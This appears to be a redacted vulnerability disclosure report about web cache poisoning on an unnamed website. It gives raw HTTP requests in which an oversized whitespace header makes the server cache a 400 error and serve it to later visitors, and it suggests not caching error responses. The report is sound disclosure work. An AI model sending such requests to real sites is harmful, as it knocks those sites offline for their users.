Web Cache Poisoning on █████

How it was found

Description: The web application https://████████ uses a web cache to more efficiently serve its pages to the users. An attacker can send a malformed request which the server caches the response of and sends it to the users.

Impact

An attacker can alter the web cache, making the web application unavailable for as long as they wish.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

• Send the following request to the server:

GET /yeettest?yeettest=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host: www.█████
Connection: Keep-alive
yeetheadertest1:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        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• The server will return a 400 status code response and cache the response.
• Now, send the request below. Normally, it should return a 404 response.

GET /yeettest?yeettest=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host: www.████████
Connection: Keep-alive

• However it returns the same response as the previous one, which means that the response was cached.

Note: I have done these tests on the path /yeettest?yeettest=1 in order to not disrupt the experience of the website's users. However, an attacker would use this bug on the main page.

Suggested Mitigation/Remediation Actions

Do not cache responses with error-related status codes.